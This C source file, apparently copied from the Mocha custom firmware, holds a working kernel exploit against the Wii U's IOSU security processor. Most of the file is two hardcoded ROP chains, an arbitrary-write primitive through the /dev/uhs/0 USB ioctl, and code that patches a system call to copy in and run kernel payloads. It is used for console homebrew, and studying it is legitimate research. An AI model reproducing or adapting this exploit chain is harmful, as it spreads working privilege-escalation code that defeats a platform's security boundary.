/**
Copy pasted from MOCHA!
https://raw.githubusercontent.com/dimok789/mocha/
**/

#include <string.h>
#include <stdio.h>
#include <dynamic_libs/os_functions.h>
#include <utils/logger.h>
#include "mocha.h"

#define ALIGN4(x)           (((x) + 3) & ~3)

#define CHAIN_START         0x1016AD40
#define SHUTDOWN            0x1012EE4C
#define SIMPLE_RETURN       0x101014E4
#define SOURCE              (0x120000)
#define IOS_CREATETHREAD    0x1012EABC
#define ARM_CODE_BASE       0x08135000
#define REPLACE_SYSCALL     0x081298BC

//extern const uint8_t launch_image_tga[];
//extern const uint32_t launch_image_tga_size;

static void uhs_exploit_init(int32_t uhs_handle, cfw_config_t * config);
static int32_t uhs_write32(int32_t uhs_handle, int32_t arm_addr, int32_t val);

//!------Variables used in exploit------
static int32_t *pretend_root_hub = (int32_t*)0xF5003ABC;
static int32_t *ayylmao = (int32_t*)0xF4500000;
//!-------------------------------------

typedef struct {
    uint32_t size;
    uint8_t data[0];
} payload_info_t;

/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
#include "../mocha/ios_kernel/ios_kernel.bin.h"
#include "../mocha/ios_usb/ios_usb.bin.h"
#include "../mocha/ios_fs/ios_fs.bin.h"
#include "../mocha/ios_bsp/ios_bsp.bin.h"
#include "../mocha/ios_mcp/ios_mcp.bin.h"
#include "../mocha/ios_acp/ios_acp.bin.h"


/* ROP CHAIN STARTS HERE (0x1015BD78) */
static const uint32_t final_chain[] = {
    0x101236f3,        // 0x00      POP {R1-R7,PC}
    0x0,               // 0x04      arg
    0x0812974C,        // 0x08      stackptr     CMP R3, #1; STREQ R1, [R12]; BX LR
    0x68,              // 0x0C      stacksize
    0x10101638,        // 0x10
    0x0,               // 0x14
    0x0,               // 0x18
    0x0,               // 0x1C
    0x1010388C,        // 0x20      CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
    0x0,               // 0x24
    0x0,               // 0x28
    0x1012CFEC,        // 0x2C      MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x30
    0x0,               // 0x34
    IOS_CREATETHREAD,  // 0x38
    0x1,               // 0x3C
    0x2,               // 0x40
    0x10123a9f,        // 0x44      POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x00, // 0x48      address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE92D4010,        // 0x4C      value: PUSH {R4,LR}
    0x0,               // 0x50
    0x10123a8b,        // 0x54      POP {R3,R4,PC}
    0x1,               // 0x58      R3 must be 1 for the arbitrary write
    0x0,               // 0x5C
    0x1010CD18,        // 0x60      MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x64
    0x0,               // 0x68
    0x1012EE64,        // 0x6C      set_panic_behavior (arbitrary write)
    0x0,               // 0x70
    0x0,               // 0x74
    0x10123a9f,        // 0x78      POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x04, // 0x7C      address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE1A04000,        // 0x80      value: MOV R4, R0
    0x0,               // 0x84
    0x10123a8b,        // 0x88      POP {R3,R4,PC}
    0x1,               // 0x8C      R3 must be 1 for the arbitrary write
    0x0,               // 0x90
    0x1010CD18,        // 0x94      MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x98
    0x0,               // 0x9C
    0x1012EE64,        // 0xA0      set_panic_behavior (arbitrary write)
    0x0,               // 0xA4
    0x0,               // 0xA8
    0x10123a9f,        // 0xAC      POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x08, // 0xB0      address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE3E00000,        // 0xB4      value: MOV R0, #0xFFFFFFFF
    0x0,               // 0xB8
    0x10123a8b,        // 0xBC      POP {R3,R4,PC}
    0x1,               // 0xC0      R3 must be 1 for the arbitrary write
    0x0,               // 0xC4
    0x1010CD18,        // 0xC8      MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0xCC
    0x0,               // 0xD0
    0x1012EE64,        // 0xD4      set_panic_behavior (arbitrary write)
    0x0,               // 0xD8
    0x0,               // 0xDC
    0x10123a9f,        // 0xE0      POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x0C, // 0xE4      address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xEE030F10,        // 0xE8      value: MCR   P15, #0, R0, C3, C0, #0 (set dacr to R0)
    0x0,               // 0xEC
    0x10123a8b,        // 0xF0      POP {R3,R4,PC}
    0x1,               // 0xF4      R3 must be 1 for the arbitrary write
    0x0,               // 0xF8
    0x1010CD18,        // 0xFC      MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x100
    0x0,               // 0x104
    0x1012EE64,        // 0x108     set_panic_behavior (arbitrary write)
    0x0,               // 0x10C
    0x0,               // 0x110
    0x10123a9f,        // 0x114     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x10, // 0x118     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE1A00004,        // 0x11C     value: MOV R0, R4
    0x0,               // 0x120
    0x10123a8b,        // 0x124     POP {R3,R4,PC}
    0x1,               // 0x128     R3 must be 1 for the arbitrary write
    0x0,               // 0x12C
    0x1010CD18,        // 0x130     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x134
    0x0,               // 0x138
    0x1012EE64,        // 0x13C     set_panic_behavior (arbitrary write)
    0x0,               // 0x140
    0x0,               // 0x144
    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x14, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE12FFF33,        // 0x150     value: BLX R3 KERNEL_MEMCPY
    0x0,               // 0x154
    0x10123a8b,        // 0x158     POP {R3,R4,PC}
    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
    0x0,               // 0x160
    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x168
    0x0,               // 0x16C
    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
    0x0,               // 0x174
    0x0,               // 0x178
    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x18, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0x00000000,        // 0x150     value: NOP
    0x0,               // 0x154
    0x10123a8b,        // 0x158     POP {R3,R4,PC}
    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
    0x0,               // 0x160
    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x168
    0x0,               // 0x16C
    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
    0x0,               // 0x174
    0x0,               // 0x178
    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x1C, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xEE17FF7A,        // 0x150     value: clean_loop: MRC p15, 0, r15, c7, c10, 3
    0x0,               // 0x154
    0x10123a8b,        // 0x158     POP {R3,R4,PC}
    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
    0x0,               // 0x160
    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x168
    0x0,               // 0x16C
    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
    0x0,               // 0x174
    0x0,               // 0x178
    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x20, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0x1AFFFFFD,        // 0x150     value: BNE clean_loop
    0x0,               // 0x154
    0x10123a8b,        // 0x158     POP {R3,R4,PC}
    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
    0x0,               // 0x160
    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x168
    0x0,               // 0x16C
    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
    0x0,               // 0x174
    0x0,               // 0x178
    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x24, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xEE070F9A,        // 0x150     value: MCR p15, 0, R0, c7, c10, 4
    0x0,               // 0x154
    0x10123a8b,        // 0x158     POP {R3,R4,PC}
    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
    0x0,               // 0x160
    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x168
    0x0,               // 0x16C
    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
    0x0,               // 0x174
    0x0,               // 0x178
    0x10123a9f,        // 0x17C     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x28, // 0x180     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE1A03004,        // 0x184     value: MOV R3, R4
    0x0,               // 0x188
    0x10123a8b,        // 0x18C     POP {R3,R4,PC}
    0x1,               // 0x190     R3 must be 1 for the arbitrary write
    0x0,               // 0x194
    0x1010CD18,        // 0x198     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x19C
    0x0,               // 0x1A0
    0x1012EE64,        // 0x1A4     set_panic_behavior (arbitrary write)
    0x0,               // 0x1A8
    0x0,               // 0x1AC
    0x10123a9f,        // 0x17C     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x2C, // 0x180     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE8BD4010,        // 0x184     value: POP {R4,LR}
    0x0,               // 0x188
    0x10123a8b,        // 0x18C     POP {R3,R4,PC}
    0x1,               // 0x190     R3 must be 1 for the arbitrary write
    0x0,               // 0x194
    0x1010CD18,        // 0x198     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x19C
    0x0,               // 0x1A0
    0x1012EE64,        // 0x1A4     set_panic_behavior (arbitrary write)
    0x0,               // 0x1A8
    0x0,               // 0x1AC
    0x10123a9f,        // 0x1B0     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL + 0x30, // 0x1B4     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE12FFF13,        // 0x1B8     value: BX R3 our code :-)
    0x0,               // 0x1BC
    0x10123a8b,        // 0x1C0     POP {R3,R4,PC}
    0x1,               // 0x1C4     R3 must be 1 for the arbitrary write
    0x0,               // 0x1C8
    0x1010CD18,        // 0x1CC     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x1D0
    0x0,               // 0x1D4
    0x1012EE64,        // 0x1D8     set_panic_behavior (arbitrary write)
    0x0,               // 0x1DC
    0x0,               // 0x1E0
    0x10123a9f,        // 0x1E4     POP {R0,R1,R4,PC}
    REPLACE_SYSCALL,        // 0x1DC     start of syscall IOS_GetUpTime64
    0x4001,            // 0x1E0     on > 0x4000 it flushes all data caches
    0x0,               // 0x1E0
    0x1012ED4C,        // 0x1E4     IOS_FlushDCache(void *ptr, uint32_t len)
    0x0,               // 0x1DC
    0x0,               // 0x1E0
    0x10123a9f,        // 0x1E4     POP {R0,R1,R4,PC}
    ARM_CODE_BASE,     // 0x1E8     our code destination address
    0x0,               // 0x1EC
    0x0,               // 0x1F0
    0x101063db,        // 0x1F4     POP {R1,R2,R5,PC}
    0x0,               // 0x1F8
    sizeof(ios_kernel_bin),   // 0x1FC     our code size
    0x0,               // 0x200
    0x10123983,        // 0x204     POP {R1,R3,R4,R6,PC}
    0x00140000,        // 0x208     our code source location
    0x08131D04,        // 0x20C     KERNEL_MEMCPY address
    0x0,               // 0x210
    0x0,               // 0x214
    0x1012EBB4,        // 0x218     IOS_GetUpTime64 (privileged stack pivot)
    0x0,
    0x0,
    0x101312D0,
};

static const int32_t second_chain[] = {
    0x10123a9f, // 0x00         POP {R0,R1,R4,PC}
    CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000,     // 0x04         destination
    0x0,        // 0x08
    0x0,        // 0x0C
    0x101063db, // 0x10         POP {R1,R2,R5,PC}
    0x00130000, // 0x14         source
    sizeof(final_chain),          // 0x18         length
    0x0,        // 0x1C
    0x10106D4C, // 0x20         BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
    0x0,        // 0x24
    0x0,        // 0x28
    0x101236f3, // 0x2C         POP {R1-R7,PC}
    0x0,        // 0x30         arg
    0x101001DC, // 0x34         stackptr
    0x68,       // 0x38         stacksize
    0x10101634, // 0x3C         proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
    0x0,        // 0x40
    0x0,        // 0x44
    0x0,        // 0x48
    0x1010388C, // 0x4C         CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
    0x0,        // 0x50
    0x0,        // 0x54
    0x1012CFEC, // 0x58         MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,        // 0x5C
    0x0,        // 0x60
    IOS_CREATETHREAD, // 0x64
    0x1,        // 0x68         priority
    0x2,        // 0x6C         flags
    0x0,        // 0x70
    0x0,        // 0x74
    0x101063db, // 0x78         POP {R1,R2,R5,PC}
    0x0,        // 0x7C
    -(0x240 + 0x18 + 0xF000), // 0x80  stack offset
    0x0,        // 0x84
    0x101141C0, // 0x88         MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
    0x0,
    0x0,
    0x0,
    0x00110000 - 0x44, // 0x8C
    0x00110010,        // 0x90
    0x0,        // 0x94
    0x0,        // 0x98
    0x0,        // 0x9C
    0x0,        // 0xA0
    0x0,        // 0xA4
    0x4,        // 0xA8         R11 must equal 4 in order to pivot the stack
    0x101088F4, //              STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
    0x0,
    0x0,
    0x1012EA68, // 0xAC         stack pivot
};

static void uhs_exploit_init(int32_t dev_uhs_0_handle, cfw_config_t * config) {
    ayylmao[5] = 1;
    ayylmao[8] = 0x500000;

    memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
    memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
    memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));

    payload_info_t *payloads = (payload_info_t*)0xF4148000;

    payloads->size = sizeof(cfw_config_t);
    memcpy(payloads->data, config, payloads->size);
    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );

    payloads->size = sizeof(ios_usb_bin);
    memcpy(payloads->data, ios_usb_bin, payloads->size);
    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );

    payloads->size = sizeof(ios_fs_bin);
    memcpy(payloads->data, ios_fs_bin, payloads->size);
    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );

    payloads->size = sizeof(ios_bsp_bin);
    memcpy(payloads->data, ios_bsp_bin, payloads->size);
    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );

    payloads->size = sizeof(ios_acp_bin);
    memcpy(payloads->data, ios_acp_bin, payloads->size);
    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );

    payloads->size = sizeof(ios_mcp_bin);
    memcpy(payloads->data, ios_mcp_bin, payloads->size);
    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );

    /*if(config->launchImage){
        FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb");
        if(pFile)
        {
            fseek(pFile, 0, SEEK_END);
            payloads->size = ftell(pFile);
            fseek(pFile, 0, SEEK_SET);
            fread(payloads->data, 1, payloads->size, pFile);
            fclose(pFile);
            payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
        }
        else
        {
            payloads->size = launch_image_tga_size;
            memcpy(payloads->data, launch_image_tga, payloads->size);
            payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
        }
    }*/
    pretend_root_hub[33] = 0x500000;
    pretend_root_hub[78] = 0;

    DCStoreRange(pretend_root_hub + 33, 200);
    DCStoreRange((void*)0xF4120000, sizeof(second_chain));
    DCStoreRange((void*)0xF4130000, sizeof(final_chain));
    DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
    DCStoreRange((void*)0xF4148000, ((uint32_t)payloads) - 0xF4148000);
}

static int32_t uhs_write32(int32_t dev_uhs_0_handle, int32_t arm_addr, int32_t val) {
    ayylmao[520] = arm_addr - 24;                    //!  The address to be overwritten, minus 24 bytes
    DCStoreRange(ayylmao, 521 * 4);                  //!  Make CPU fetch new data (with updated adress)
    OSSleepTicks(0x200000);                          //!  Improves stability
    int32_t request_buffer[] = { -(0xBEA2C), val };      //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
    int32_t output_buffer[32];
    return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}

int32_t ExecuteIOSExploit(cfw_config_t * config) {
    DEBUG_FUNCTION_LINE("Running ExecuteIOSExploit\n");
    int32_t iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
    if(iosuhaxFd >= 0) {
        int32_t dummy = 0;

        IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy));

        //! do not run patches again as that will most likely crash
        //! because the wupserver and the iosuhax dev node are still running
        //! just relaunch IOS with new configuration
        IOS_Close(iosuhaxFd);
    }

    //! execute exploit
    int32_t dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
    if(dev_uhs_0_handle < 0) {
        DEBUG_FUNCTION_LINE("Failed to open \"/dev/uhs/0\"\n");
        return dev_uhs_0_handle;
    }

    uhs_exploit_init(dev_uhs_0_handle, config);
    uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
    uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
    uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);

    uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}

    IOS_Close(dev_uhs_0_handle);
    DEBUG_FUNCTION_LINE("Function end\n");
    return 0;
}

void ExecuteIOSExploitWithDefaultConfig() {
    cfw_config_t config;
    config.viewMode = 0;
    config.directLaunch = 0;
    config.launchImage = 0;
    config.noIosReload = 1;
    config.launchSysMenu = 0;
    config.redNAND = 0;
    config.seeprom_red = 0;
    config.otp_red = 0;
    config.syshaxXml = 0;
    ExecuteIOSExploit(&config);
}
